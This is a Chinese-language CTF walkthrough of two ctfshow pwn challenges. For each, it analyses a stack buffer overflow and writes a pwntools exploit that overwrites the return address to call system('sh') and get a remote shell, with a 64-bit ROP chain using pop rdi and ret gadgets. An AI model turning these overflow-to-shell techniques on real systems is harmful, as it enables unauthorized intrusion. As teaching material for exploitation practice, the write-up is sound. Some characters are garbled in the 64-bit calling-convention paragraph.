我们首先将pwn文件下载下来,拖入到虚拟机查看一下文件的保护信息。
chmod +x pwn
checksec pwn
该文件只开启了栈不可执行,并且文件是32位的。
我们把文件托到ida32中查看一下反编译代码。
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
logo(&argc);
ctfshow();
puts("\nExit");
return 0;
}
ssize_t ctfshow()
{
char buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);
}
int hint()
{
system("echo flag");
return 0;
}
int useful()
{
return printf("sh");
}
先简单说下这道题的思路,首先ctfshow函数中buf数组长度为14,却需要读入0x32个长度的数据,显然存在栈溢出。其次我们还可以注意到,hint函数中存在system函数,我们可以plt表中获取system函数的地址,然后再从useful函数获取到sh的地址,这样就可以拼凑处system(“sh”),进而拿到服务器的shell。
从ctfshow函数中可以看到,buf在栈中的位置在ebp上面12h处,加上ebp本身所占栈单元的4个字节,那么栈溢出的长度就为0x12h+0x4h
使用objdump命令获取文件的plt表,从而直接拿到system函数的地址。
objdump -d -j .plt pwn
system函数的地址为:0x080483d0
直接在ida中点击sh,可以直接跳转到data段从而拿到sh的地址。
sh的地址为:0x080487BA
from pwn import *
io = remote("pwn.challenge.ctf.show", "28160")
offset = 0x12 + 0x4
system_addr = 0x080483d0
sh_addr = 0x080487BA
payload = offset * 'a'
payload += p32(system_addr)
payload += 'a' * 4 # 表示system函数的返回地址,由于不需要返回到某个地方,所以用4个字节顶替
payload += p32(sh_addr)
io.sendline(payload)
io.interactive()
成功拿到flag。
首先我们还是先将文件下载下来,托到虚拟机查看保护信息。
chmod +x pwn
checksec pwn
文件的保护信息与上道题目几乎一样,开启了栈不可执行,只不过这个文件是64位的。那我们就先把他拖进到ida64中查看他的反编译代码。
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
logo();
ctfshow();
puts("\nExit");
return 0;
}
ssize_t ctfshow()
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF
return read(0, buf, 0x32uLL);
}
__int64 hint()
{
system("echo flag");
return 0LL;
}
int useful()
{
return printf("sh");
}
这道题的代码几乎跟上道题也是差不多的,还是一样的思路,利用ctfshow函数中buf的栈溢出,通过hint函数的system函数与useful函数的sh相结合拼凑成system(sh)来获得shell。
只不过在64位中,需要堆栈平衡 ,并且64位的传参和32位也不一样。
具体64位传参方式如下:
当参数少于7个时, 参数从左到右放?寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前??样, 但后?的依次从 “右向左” 放?栈中,和32位汇编?样。
首先可以观察到,buf在栈中的位置在rbp上面Ah处,加上rbp本身所占栈单元的长度为8(32位为4,64位为8),那么溢出长度就为0xa + 0x8
还是通过使用objdump命令来获得文件的plt表从而拿到system函数的地址。
objdump -d -j .plt pwn
system函数的地址为:0x0000000000400560
直接在ida中点击sh,即可跳转到data段,就可以获得sh的地址了。
sh的地址为:0x0000000000400872
pop rdi,把参数pop到rdi寄存器中,再通过ret将程序的执行流控制到我们在栈中传入的恶意地址。
ROPgadget --binary pwn --only "pop|ret"
pop rdi;ret的地址为:0x0000000000400843
ret的地址为:0x000000000040053e
ret是为了64位的堆栈平衡,具体堆栈平衡的知识可以看一下两篇文章
https://www.cnblogs.com/ZIKH26/articles/15996874.html
https://blog.csdn.net/hu_c_t_f/article/details/131902515
from pwn import *
io = remote("pwn.challenge.ctf.show", "28142")
offset = 0xa + 0x8
pop_rdi = 0x0000000000400843
ret = 0x000000000040053e
sh_addr = 0x0000000000400872
system_addr = 0x0000000000400560
payload = offset * 'a'
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(ret)
payload += p64(system_addr)
io.sendline(payload)
io.interactive()
成功拿到flag。